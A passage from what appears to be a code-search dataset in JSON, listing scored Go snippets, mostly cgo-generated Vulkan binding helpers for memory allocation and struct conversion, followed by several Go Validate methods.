"0fa9c4fcb08029b67c61e108bd0de5a1", "score": "0.59389657", "text": "func allocPhysicalDeviceDriverPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfPhysicalDeviceDriverPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "da031ad1b40cc52254be5ef86f7e4501", "score": "0.593889", "text": "func allocPhysicalDeviceMemoryPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfPhysicalDeviceMemoryPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "da031ad1b40cc52254be5ef86f7e4501", "score": "0.593889", "text": "func allocPhysicalDeviceMemoryPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfPhysicalDeviceMemoryPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "01d00e2b081eb71f416767aefd5c3dd5", "score": "0.5938393", "text": "func allocPhysicalDevicePropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfPhysicalDevicePropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "01d00e2b081eb71f416767aefd5c3dd5", "score": "0.5938393", "text": "func allocPhysicalDevicePropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfPhysicalDevicePropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "ac74ad1943b698e0ff6f8618917bfce7", "score": "0.59100246", "text": "func allocExternalBufferPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfExternalBufferPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "dec80eff54cd7e4c4383d757b60cdcce", "score": "0.58600366", "text": "func packSSparseImageFormatProperties(v []SparseImageFormatProperties, ptr0 *C.VkSparseImageFormatProperties) {\n\tconst m = 0x7fffffff\n\tfor i0 := range v {\n\t\tptr1 := (*(*[m / sizeOfSparseImageFormatPropertiesValue]C.VkSparseImageFormatProperties)(unsafe.Pointer(ptr0)))[i0]\n\t\tv[i0] = *NewSparseImageFormatPropertiesRef(unsafe.Pointer(&ptr1))\n\t}\n}", "title": "" }, { "docid": "dec80eff54cd7e4c4383d757b60cdcce", "score": "0.58600366", "text": "func packSSparseImageFormatProperties(v []SparseImageFormatProperties, ptr0 *C.VkSparseImageFormatProperties) {\n\tconst m = 0x7fffffff\n\tfor i0 := range v {\n\t\tptr1 := (*(*[m / sizeOfSparseImageFormatPropertiesValue]C.VkSparseImageFormatProperties)(unsafe.Pointer(ptr0)))[i0]\n\t\tv[i0] = *NewSparseImageFormatPropertiesRef(unsafe.Pointer(&ptr1))\n\t}\n}", "title": "" }, { "docid": "a68ad8a3b896af9e49fdd560794eac8a", "score": "0.58468866", "text": "func allocPhysicalDeviceBlendOperationAdvancedPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfPhysicalDeviceBlendOperationAdvancedPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "086f192f4da87fd69397ea585dc5f9ef", "score": "0.5833796", "text": "func allocPhysicalDeviceProperties2Memory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfPhysicalDeviceProperties2Value))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "086f192f4da87fd69397ea585dc5f9ef", "score": "0.5833796", "text": "func allocPhysicalDeviceProperties2Memory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfPhysicalDeviceProperties2Value))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "1071019861ffc8dde9fd330e449d687a", "score": "0.5813644", "text": "func allocSurfaceFormatMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfSurfaceFormatValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "1071019861ffc8dde9fd330e449d687a", "score": "0.5813644", "text": "func allocSurfaceFormatMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfSurfaceFormatValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "cf6582accf984587e393a4e00343c6d0", "score": "0.58107877", "text": "func allocDisplayPlaneProperties2Memory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfDisplayPlaneProperties2Value))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "bd2c4947d371737dcc6ece2e32dcd7e2", "score": "0.5806469", "text": "func allocPhysicalDeviceMemoryProperties2Memory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfPhysicalDeviceMemoryProperties2Value))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "bd2c4947d371737dcc6ece2e32dcd7e2", "score": "0.5806469", "text": "func allocPhysicalDeviceMemoryProperties2Memory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfPhysicalDeviceMemoryProperties2Value))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "db5b40595a34a9885013f26c1e213ef6", "score": "0.58031726", "text": "func allocImageCreateInfoMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfImageCreateInfoValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "db5b40595a34a9885013f26c1e213ef6", "score": "0.58031726", "text": "func allocImageCreateInfoMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfImageCreateInfoValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "559c6cfc31fe12b5c6c9e6725e69dabb", "score": "0.57943135", "text": "func (x *ImageFormatProperties) Free() {\n\tif x != nil && x.allocs4cfb2ea2 != nil {\n\t\tx.allocs4cfb2ea2.(*cgoAllocMap).Free()\n\t\tx.ref4cfb2ea2 = nil\n\t}\n}", "title": "" }, { "docid": "559c6cfc31fe12b5c6c9e6725e69dabb", "score": "0.57943135", "text": "func (x *ImageFormatProperties) Free() {\n\tif x != nil && x.allocs4cfb2ea2 != nil {\n\t\tx.allocs4cfb2ea2.(*cgoAllocMap).Free()\n\t\tx.ref4cfb2ea2 = nil\n\t}\n}", "title": "" }, { "docid": "eb5a268438711d8dfa4cb472daaf54f7", "score": "0.5780218", "text": "func allocExternalMemoryPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfExternalMemoryPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "2a4da3a384369f3d89d6da59ef75ccaf", "score": "0.5775967", "text": "func (x *ImageFormatProperties2) PassRef() (*C.VkImageFormatProperties2KHR, *cgoAllocMap) {\n\tif x == nil {\n\t\treturn nil, nil\n\t} else if x.refe7fff76b != nil {\n\t\treturn x.refe7fff76b, nil\n\t}\n\tmeme7fff76b := allocImageFormatProperties2Memory(1)\n\trefe7fff76b := (*C.VkImageFormatProperties2KHR)(meme7fff76b)\n\tallocse7fff76b := new(cgoAllocMap)\n\tallocse7fff76b.Add(meme7fff76b)\n\n\tvar csType_allocs *cgoAllocMap\n\trefe7fff76b.sType, csType_allocs = (C.VkStructureType)(x.SType), cgoAllocsUnknown\n\tallocse7fff76b.Borrow(csType_allocs)\n\n\tvar cpNext_allocs *cgoAllocMap\n\trefe7fff76b.pNext, cpNext_allocs = *(*unsafe.Pointer)(unsafe.Pointer(&x.PNext)), cgoAllocsUnknown\n\tallocse7fff76b.Borrow(cpNext_allocs)\n\n\tvar cimageFormatProperties_allocs *cgoAllocMap\n\trefe7fff76b.imageFormatProperties, cimageFormatProperties_allocs = x.ImageFormatProperties.PassValue()\n\tallocse7fff76b.Borrow(cimageFormatProperties_allocs)\n\n\tx.refe7fff76b = refe7fff76b\n\tx.allocse7fff76b = allocse7fff76b\n\treturn refe7fff76b, allocse7fff76b\n\n}", "title": "" }, { "docid": "f039c376a7ff6748753c93de8f4fe654", "score": "0.57566607", "text": "func allocImageDrmFormatModifierExplicitCreateInfoMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfImageDrmFormatModifierExplicitCreateInfoValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "42b063a1f805adaf5c35cf3189590348", "score": "0.5752713", "text": "func NewImageFormatListCreateInfoRef(ref unsafe.Pointer) *ImageFormatListCreateInfo {\n\tif ref == nil {\n\t\treturn nil\n\t}\n\tobj := new(ImageFormatListCreateInfo)\n\tobj.ref815daf8c = (*C.VkImageFormatListCreateInfoKHR)(unsafe.Pointer(ref))\n\treturn obj\n}", "title": "" }, { "docid": "02a230fc6aadfa866362ca5d51c0736b", "score": "0.5691434", "text": "func (x *ExternalImageFormatPropertiesNV) PassRef() (*C.VkExternalImageFormatPropertiesNV, *cgoAllocMap) {\n\tif x == nil {\n\t\treturn nil, nil\n\t} else if x.refa8900ce5 != nil {\n\t\treturn x.refa8900ce5, nil\n\t}\n\tmema8900ce5 := allocExternalImageFormatPropertiesNVMemory(1)\n\trefa8900ce5 := (*C.VkExternalImageFormatPropertiesNV)(mema8900ce5)\n\tallocsa8900ce5 := new(cgoAllocMap)\n\tallocsa8900ce5.Add(mema8900ce5)\n\n\tvar cimageFormatProperties_allocs *cgoAllocMap\n\trefa8900ce5.imageFormatProperties, cimageFormatProperties_allocs = x.ImageFormatProperties.PassValue()\n\tallocsa8900ce5.Borrow(cimageFormatProperties_allocs)\n\n\tvar cexternalMemoryFeatures_allocs *cgoAllocMap\n\trefa8900ce5.externalMemoryFeatures, cexternalMemoryFeatures_allocs = (C.VkExternalMemoryFeatureFlagsNV)(x.ExternalMemoryFeatures), cgoAllocsUnknown\n\tallocsa8900ce5.Borrow(cexternalMemoryFeatures_allocs)\n\n\tvar cexportFromImportedHandleTypes_allocs *cgoAllocMap\n\trefa8900ce5.exportFromImportedHandleTypes, cexportFromImportedHandleTypes_allocs = (C.VkExternalMemoryHandleTypeFlagsNV)(x.ExportFromImportedHandleTypes), cgoAllocsUnknown\n\tallocsa8900ce5.Borrow(cexportFromImportedHandleTypes_allocs)\n\n\tvar ccompatibleHandleTypes_allocs *cgoAllocMap\n\trefa8900ce5.compatibleHandleTypes, ccompatibleHandleTypes_allocs = (C.VkExternalMemoryHandleTypeFlagsNV)(x.CompatibleHandleTypes), cgoAllocsUnknown\n\tallocsa8900ce5.Borrow(ccompatibleHandleTypes_allocs)\n\n\tx.refa8900ce5 = refa8900ce5\n\tx.allocsa8900ce5 = allocsa8900ce5\n\treturn refa8900ce5, allocsa8900ce5\n\n}", "title": "" }, { "docid": "02a230fc6aadfa866362ca5d51c0736b", "score": "0.5691434", "text": "func (x *ExternalImageFormatPropertiesNV) PassRef() (*C.VkExternalImageFormatPropertiesNV, *cgoAllocMap) {\n\tif x == nil {\n\t\treturn nil, nil\n\t} else if x.refa8900ce5 != nil {\n\t\treturn x.refa8900ce5, nil\n\t}\n\tmema8900ce5 := allocExternalImageFormatPropertiesNVMemory(1)\n\trefa8900ce5 := (*C.VkExternalImageFormatPropertiesNV)(mema8900ce5)\n\tallocsa8900ce5 := new(cgoAllocMap)\n\tallocsa8900ce5.Add(mema8900ce5)\n\n\tvar cimageFormatProperties_allocs *cgoAllocMap\n\trefa8900ce5.imageFormatProperties, cimageFormatProperties_allocs = x.ImageFormatProperties.PassValue()\n\tallocsa8900ce5.Borrow(cimageFormatProperties_allocs)\n\n\tvar cexternalMemoryFeatures_allocs *cgoAllocMap\n\trefa8900ce5.externalMemoryFeatures, cexternalMemoryFeatures_allocs = (C.VkExternalMemoryFeatureFlagsNV)(x.ExternalMemoryFeatures), cgoAllocsUnknown\n\tallocsa8900ce5.Borrow(cexternalMemoryFeatures_allocs)\n\n\tvar cexportFromImportedHandleTypes_allocs *cgoAllocMap\n\trefa8900ce5.exportFromImportedHandleTypes, cexportFromImportedHandleTypes_allocs = (C.VkExternalMemoryHandleTypeFlagsNV)(x.ExportFromImportedHandleTypes), cgoAllocsUnknown\n\tallocsa8900ce5.Borrow(cexportFromImportedHandleTypes_allocs)\n\n\tvar ccompatibleHandleTypes_allocs *cgoAllocMap\n\trefa8900ce5.compatibleHandleTypes, ccompatibleHandleTypes_allocs = (C.VkExternalMemoryHandleTypeFlagsNV)(x.CompatibleHandleTypes), cgoAllocsUnknown\n\tallocsa8900ce5.Borrow(ccompatibleHandleTypes_allocs)\n\n\tx.refa8900ce5 = refa8900ce5\n\tx.allocsa8900ce5 = allocsa8900ce5\n\treturn refa8900ce5, allocsa8900ce5\n\n}", "title": "" }, { "docid": "f98982e4a8a047a3cbe12e81d18ea863", "score": "0.5687674", "text": "func allocPhysicalDeviceExternalImageFormatInfoKHXMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfPhysicalDeviceExternalImageFormatInfoKHXValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "d9beefa73c2a3be769608426d0eab7b5", "score": "0.5680833", "text": "func allocPhysicalDevicePushDescriptorPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfPhysicalDevicePushDescriptorPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "d9beefa73c2a3be769608426d0eab7b5", "score": "0.5680833", "text": "func allocPhysicalDevicePushDescriptorPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfPhysicalDevicePushDescriptorPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "7dcf88f036d3439b2598680e6485e618", "score": "0.5650308", "text": "func allocPhysicalDeviceIDPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfPhysicalDeviceIDPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "e874d38a39481798dfb92036b7c8706a", "score": "0.5642515", "text": "func NewPhysicalDeviceImageFormatInfo2Ref(ref unsafe.Pointer) *PhysicalDeviceImageFormatInfo2 {\n\tif ref == nil {\n\t\treturn nil\n\t}\n\tobj := new(PhysicalDeviceImageFormatInfo2)\n\tobj.ref5934b445 = (*C.VkPhysicalDeviceImageFormatInfo2)(unsafe.Pointer(ref))\n\treturn obj\n}", "title": "" }, { "docid": "606e691c78f33d00a64235415e139913", "score": "0.56424665", "text": "func allocPhysicalDeviceGroupPropertiesKHXMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfPhysicalDeviceGroupPropertiesKHXValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "bb3aa7cb60e59b6f3840647a13597475", "score": "0.56317186", "text": "func allocQueueFamilyPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfQueueFamilyPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "bb3aa7cb60e59b6f3840647a13597475", "score": "0.56317186", "text": "func allocQueueFamilyPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfQueueFamilyPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "2ba5a38171656708042afb0da2eec7e2", "score": "0.5610163", "text": "func allocExternalBufferPropertiesKHXMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfExternalBufferPropertiesKHXValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "6ea7693e2f2895e95fcd202fc4fe6c19", "score": "0.56073767", "text": "func allocPhysicalDeviceMultiviewPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfPhysicalDeviceMultiviewPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "e77cbd9b6531dfd04c6bd93567877771", "score": "0.55958533", "text": "func allocPhysicalDeviceProtectedMemoryPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfPhysicalDeviceProtectedMemoryPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "7f2d84cb3729f6bd2a278ec5d6568a01", "score": "0.55780625", "text": "func NewPhysicalDeviceImageFormatInfo2Ref(ref unsafe.Pointer) *PhysicalDeviceImageFormatInfo2 {\n\tif ref == nil {\n\t\treturn nil\n\t}\n\tobj := new(PhysicalDeviceImageFormatInfo2)\n\tobj.refe9079e9d = (*C.VkPhysicalDeviceImageFormatInfo2KHR)(unsafe.Pointer(ref))\n\treturn obj\n}", "title": "" }, { "docid": "c8fbaa976e07aca3b768e8a4776b8e6a", "score": "0.5572018", "text": "func allocExternalMemoryPropertiesKHXMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfExternalMemoryPropertiesKHXValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "83a5f8019ab1e4878f23e4a2940123ea", "score": "0.552793", "text": "func allocPhysicalDeviceSampleLocationsPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfPhysicalDeviceSampleLocationsPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "0021fe938fed354fd9d90357e7f0ec71", "score": "0.55235946", "text": "func (x *ExternalImageFormatPropertiesNV) Deref() {\n\tif x.refa8900ce5 == nil {\n\t\treturn\n\t}\n\tx.ImageFormatProperties = *NewImageFormatPropertiesRef(unsafe.Pointer(&x.refa8900ce5.imageFormatProperties))\n\tx.ExternalMemoryFeatures = (ExternalMemoryFeatureFlagsNV)(x.refa8900ce5.externalMemoryFeatures)\n\tx.ExportFromImportedHandleTypes = (ExternalMemoryHandleTypeFlagsNV)(x.refa8900ce5.exportFromImportedHandleTypes)\n\tx.CompatibleHandleTypes = (ExternalMemoryHandleTypeFlagsNV)(x.refa8900ce5.compatibleHandleTypes)\n}", "title": "" }, { "docid": "0021fe938fed354fd9d90357e7f0ec71", "score": "0.55235946", "text": "func (x *ExternalImageFormatPropertiesNV) Deref() {\n\tif x.refa8900ce5 == nil {\n\t\treturn\n\t}\n\tx.ImageFormatProperties = *NewImageFormatPropertiesRef(unsafe.Pointer(&x.refa8900ce5.imageFormatProperties))\n\tx.ExternalMemoryFeatures = (ExternalMemoryFeatureFlagsNV)(x.refa8900ce5.externalMemoryFeatures)\n\tx.ExportFromImportedHandleTypes = (ExternalMemoryHandleTypeFlagsNV)(x.refa8900ce5.exportFromImportedHandleTypes)\n\tx.CompatibleHandleTypes = (ExternalMemoryHandleTypeFlagsNV)(x.refa8900ce5.compatibleHandleTypes)\n}", "title": "" }, { "docid": "802711f4d5a93c4d88ae73df39df45ff", "score": "0.55225396", "text": "func (x *PhysicalDeviceImageFormatInfo2) PassRef() (*C.VkPhysicalDeviceImageFormatInfo2, *cgoAllocMap) {\n\tif x == nil {\n\t\treturn nil, nil\n\t} else if x.ref5934b445 != nil {\n\t\treturn x.ref5934b445, nil\n\t}\n\tmem5934b445 := allocPhysicalDeviceImageFormatInfo2Memory(1)\n\tref5934b445 := (*C.VkPhysicalDeviceImageFormatInfo2)(mem5934b445)\n\tallocs5934b445 := new(cgoAllocMap)\n\tallocs5934b445.Add(mem5934b445)\n\n\tvar csType_allocs *cgoAllocMap\n\tref5934b445.sType, csType_allocs = (C.VkStructureType)(x.SType), cgoAllocsUnknown\n\tallocs5934b445.Borrow(csType_allocs)\n\n\tvar cpNext_allocs *cgoAllocMap\n\tref5934b445.pNext, cpNext_allocs = *(*unsafe.Pointer)(unsafe.Pointer(&x.PNext)), cgoAllocsUnknown\n\tallocs5934b445.Borrow(cpNext_allocs)\n\n\tvar cformat_allocs *cgoAllocMap\n\tref5934b445.format, cformat_allocs = (C.VkFormat)(x.Format), cgoAllocsUnknown\n\tallocs5934b445.Borrow(cformat_allocs)\n\n\tvar c_type_allocs *cgoAllocMap\n\tref5934b445._type, c_type_allocs = (C.VkImageType)(x.Type), cgoAllocsUnknown\n\tallocs5934b445.Borrow(c_type_allocs)\n\n\tvar ctiling_allocs *cgoAllocMap\n\tref5934b445.tiling, ctiling_allocs = (C.VkImageTiling)(x.Tiling), cgoAllocsUnknown\n\tallocs5934b445.Borrow(ctiling_allocs)\n\n\tvar cusage_allocs *cgoAllocMap\n\tref5934b445.usage, cusage_allocs = (C.VkImageUsageFlags)(x.Usage), cgoAllocsUnknown\n\tallocs5934b445.Borrow(cusage_allocs)\n\n\tvar cflags_allocs *cgoAllocMap\n\tref5934b445.flags, cflags_allocs = (C.VkImageCreateFlags)(x.Flags), cgoAllocsUnknown\n\tallocs5934b445.Borrow(cflags_allocs)\n\n\tx.ref5934b445 = ref5934b445\n\tx.allocs5934b445 = allocs5934b445\n\treturn ref5934b445, allocs5934b445\n\n}", "title": "" }, { "docid": "0d19d3f58d367a7f760ce6576ba422c4", "score": "0.55103385", "text": "func allocDisplayModeCreateInfoMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfDisplayModeCreateInfoValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" } ]
47bb7078cb57c85080b8694a66a85bbb
Validate performs some checks on the record and returns an error if not Validated
[ { "docid": "c4a778a1005057bd493d6cf829e7c0a1", "score": "0.0", "text": "func (r *Sub1098) Validate() error {\n\treturn utils.Validate(r, config.Sub1098Layout, config.Sub1098Type)\n}", "title": "" } ]
[ { "docid": "77c90e48e9c692693a98eefeecd612b7", "score": "0.68570673", "text": "func (r *Result) Validate(tx *pop.Connection) (*validate.Errors, error) {\n\treturn validate.NewErrors(), nil\n}", "title": "" }, { "docid": "29f55ee3e653241b74fff0f0fbbfb604", "score": "0.67909455", "text": "func (m *Result) Validate() error {\n\treturn m.validate(false)\n}", "title": "" }, { "docid": "f5d2b61aed3adbeb780c9cbdaea2dbc3", "score": "0.6782738", "text": "func (r *Result) Validate(tx *pop.Connection) (*validate.Errors, error) {\n\treturn validate.Validate(\n\t\t&validators.IntIsPresent{Field: r.Num, Name: \"Num\"},\n\t\t&validators.StringIsPresent{Field: r.Line, Name: \"Line\"},\n\t), nil\n}", "title": "" }, { "docid": "13879b3e8be062ad32bdb9a7dba0557b", "score": "0.66794884", "text": "func (r Record) Validate() error {\n\tgroup, _ := errgroup.WithContext(backgroundContext)\n\tgroup.Go(func() error {\n\t\tif r.ID == \"\" {\n\t\t\treturn ErrEmptyIDUnsupported\n\t\t}\n\t\treturn nil\n\t})\n\tgroup.Go(func() error {\n\t\tif r.Type < A || r.Type > SPF {\n\t\t\treturn fmt.Errorf(\"invalid DNS record type, %s\", r.Type)\n\t\t}\n\t\treturn nil\n\t})\n\tgroup.Go(func() error {\n\t\tif r.Name == nil {\n\t\t\treturn ErrEmptyRecordName\n\t\t}\n\t\treturn nil\n\t})\n\tgroup.Go(func() error {\n\t\tif r.Content == \"\" {\n\t\t\treturn ErrEmptyRecordContent\n\t\t}\n\t\treturn nil\n\t})\n\treturn group.Wait()\n}", "title": "" }, { "docid": "51372ac88224400e8a9dc66f9f6187df", "score": "0.6671949", "text": "func (m *Record) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "3b62a251b105e855532399552621f82a", "score": "0.66553295", "text": "func (m *BillingRecord) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "title": "" }, { "docid": "8c2b587e2197a7d9d725f428b57621cb", "score": "0.65404433", "text": "func (vr *Result) IsValid() bool { return len(vr.Errors) == 0 }", "title": "" }, { "docid": "8c2b587e2197a7d9d725f428b57621cb", "score": "0.65404433", "text": "func (vr *Result) IsValid() bool { return len(vr.Errors) == 0 }", "title": "" }, { "docid": "78d17da16f2de5c6a4c787fe21db27a0", "score": "0.6500401", "text": "func (cv *MyStruct) Validate(e *v.Errors) {\n\t// validating that ID > 0 and URL is not empty\n\tif cv.ID > 0 && cv.URL != \"\" {\n\t\treturn\n\t}\n\n\t// Adding error if any of the conditions have failed.\n\te.Add(\"MyStruct\", fmt.Sprintf(\"MyStruct validation failed\"))\n\t// First argument to e.Add() method is the path where errors of validation will be stored.\n\t// Idiomatic way is to define Name field in the struct (see other examples).\n\t// Another option is to hard-code the path (done here). In this case the DIVE is impossible.\n\t// Yet another options are to use any other string field / global variable as the path.\n}", "title": "" }, { "docid": "6b4dd185fd8cab74d868c84b5f61cef3", "score": "0.64818966", "text": "func (t Transaction) Validate() error { return nil }", "title": "" }, { "docid": "96523240dfa2d579f83d72da5a824f33", "score": "0.6468104", "text": "func (m *VoteRecord) Validate() error {\n\tif m == nil {\n\t\treturn errors.ErrInternal(\"VoteRecord is <nil>\")\n\t}\n\tif len(m.Identifier) == 0 {\n\t\treturn errors.ErrInternal(\"Missing Identifier\")\n\t}\n\tif len(m.Identifier) > 100 {\n\t\treturn errors.ErrInternal(\"Identifier too long\")\n\t}\n\tif len(m.SmsCode) == 0 {\n\t\treturn errors.ErrInternal(\"Missing sms code\")\n\t}\n\tif len(m.SmsCode) > 100 {\n\t\treturn errors.ErrInternal(\"sms code to long\")\n\t}\n\tif m.VotedAt == nil || m.VotedAt.Before(time.Date(2019, 2, 15, 12, 0, 0, 0, time.UTC)) {\n\t\treturn errors.ErrInternal(\"Need reasonable voted_at time\")\n\t}\n\treturn m.Vote.Validate()\n}", "title": "" }, { "docid": "db3be61fff37d53b20485323f3c99918", "score": "0.6435971", "text": "func Validate() error {\n\treturn def.Validate()\n}", "title": "" }, { "docid": "a0866f15d1201bcc7f033fee9eb7af3b", "score": "0.6422133", "text": "func (m *Record) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateEmployeeID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateEmployeeName(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "8afc83c03cb5a5aabec3a37865a51cb4", "score": "0.6419163", "text": "func (r *Result) IsValid() bool { return r.isValid }", "title": "" }, { "docid": "899f7c2ec49b7000b220b9708ae5eefc", "score": "0.6348745", "text": "func (r UserRecord) Validate() error {\n\tif r.Name == \"\" {\n\t\treturn maskAny(errgo.WithCausef(nil, ValidationError, \"name must be set\"))\n\t}\n\tif r.PasswordHash == \"\" {\n\t\treturn maskAny(errgo.WithCausef(nil, ValidationError, \"pwhash must be set\"))\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "5e1eb6105d6e441b651666605e782714", "score": "0.63485324", "text": "func (l *Like) Validate(tx *pop.Connection) (*validate.Errors, error) {\n\treturn validate.NewErrors(), nil\n}", "title": "" }, { "docid": "2b012429de0f122d2194c7fbcfd3efe4", "score": "0.6338848", "text": "func (c *Create) Valid() {\n\n}", "title": "" }, { "docid": "32751ec0b0551f07e14a10969b5c572a", "score": "0.6316517", "text": "func (m *Ok) Validate() error {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\treturn nil\n}", "title": "" 